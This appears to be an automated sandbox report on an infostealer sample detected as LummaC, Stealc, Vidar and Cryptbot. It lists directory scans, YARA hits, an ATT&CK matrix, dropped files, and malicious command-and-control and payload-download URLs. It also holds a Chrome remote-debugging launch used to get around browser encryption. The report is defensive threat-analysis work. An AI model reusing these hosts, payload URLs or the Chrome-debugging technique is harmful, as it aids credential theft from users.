Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD

Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe

Directory queried: number of queries: 3003

Source: Yara match	File source: 0000001E.00000003.3020917384.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3275594136.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3020155012.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3040423973.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3288926089.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3067826677.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3059324540.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3022146414.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3059764525.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3001594153.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 397a6a3fac.exe PID: 368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 397a6a3fac.exe PID: 8064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 397a6a3fac.exe PID: 6672, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000018.00000003.3328977869.0000000001784000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 33a9120b78.exe PID: 2460, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 397a6a3fac.exe PID: 368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 397a6a3fac.exe PID: 8064, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2447069810.0000000000421000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2927755728.000000000158D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3084022253.0000000000811000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2869313380.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2926028640.0000000000811000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3043113715.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2449094003.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2077871417.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829de9457d.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829de9457d.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	11 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	11 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.LummaStealer
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	45%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	45%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	42%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious
chrome.cloudflare-dns.com	172.64.41.3	true	false
frogmen-smell.sbs	104.21.80.55	true	true
fvtejs5sr.top	34.116.198.130	true	true
plus.l.google.com	142.250.184.238	true	false
play.google.com	142.250.186.142	true	false
home.fvtejs5sr.top	34.116.198.130	true	true
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false
sb.scorecardresearch.com	18.244.18.38	true	false
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false
www.google.com	142.250.186.164	true	false
googlehosted.l.googleusercontent.com	172.217.18.1	true	false
js.monitor.azure.com	unknown	unknown	false
assets.msn.com	unknown	unknown	false
c.msn.com	unknown	unknown	false
mdec.nelreports.net	unknown	unknown	false
ntp.msn.com	unknown	unknown	false
clients2.googleusercontent.com	unknown	unknown	false
bzib.nelreports.net	unknown	unknown	false
apis.google.com	unknown	unknown	false
api.msn.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	true
http://185.215.113.206/	true
thicktoys.sbs	true
http://home.fvtejs5sr.top/iNfkLAsWrCuVUxMyJkfW1731561474	true
http://185.215.113.43/Zu7JuNko/index.php	true
http://185.215.113.206/68b591d6548ec281/freebl3.dll	true
https://c.msn.com/c.gif?rnd=1731683788795&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3401cc7bbd34493991b5e892ac0c3af8&activityId=3401cc7bbd34493991b5e892ac0c3af8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false
faintbl0w.sbs	true
http://fvtejs5sr.top/v1/upload.php	true
https://sb.scorecardresearch.com/b?rn=1731683788796&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=078A6178E4B266BF224E7440E5C7676D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683792072&w=0&anoncknm=app_anon&NoResponseBody=true	false
fvtejs5sr.top	true
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
3xc1aimbl0w.sbs	true
https://play.google.com/log?format=json&hasfast=true	false
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683791745&w=0&anoncknm=app_anon&NoResponseBody=true	false
300snails.sbs	true
https://c.msn.com/c.gif?rnd=1731683788795&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3401cc7bbd34493991b5e892ac0c3af8&activityId=3401cc7bbd34493991b5e892ac0c3af8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B04EC9CD06994D6898AC696A988E9A60&MUID=078A6178E4B266BF224E7440E5C7676D	false
"home.fvtejs5sr.top	true
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683788793&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false
home.fvtejs5sr.top	true
http://185.215.113.16/mine/random.exe	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683791083&w=0&anoncknm=app_anon&NoResponseBody=true	false
QUERY\|rd\|A\|IN\|home.fvtejs5sr.top	true
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731683791067&w=0&anoncknm=app_anon&NoResponseBody=true	false
http://185.215.113.206/68b591d6548ec281/mozglue.dll	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	false
https://goto.google.com/sme-bugs2e	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206SQ	829de9457d.exe, 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp	false
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3044476895.000000000543D000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/nss3.dll2	file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false
https://myaccount.google.com/shielded-email2B	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/ws	829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	false
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/mozglue.dllZ	file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
https://curl.se/docs/hsts.html	33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2447069810.0000000000587000.00000040.00000001.01000000.00000003.sdmp	false
http://185.215.113.16/off/def.exex	397a6a3fac.exe, 0000001E.00000002.3313039519.00000000007AA000.00000004.00000010.00020000.00000000.sdmp	false
https://google-ohttp-relay-safebrowsing.fastly-edge.com/b	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php/Ry	829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	false
http://home.fvtejs5sr.top/iNfkLAsWrCuVUxMyJkfW1731561474z	33a9120b78.exe, 00000018.00000003.3228409571.000000000170D000.00000004.00000020.00020000.00000000.sdmp	false
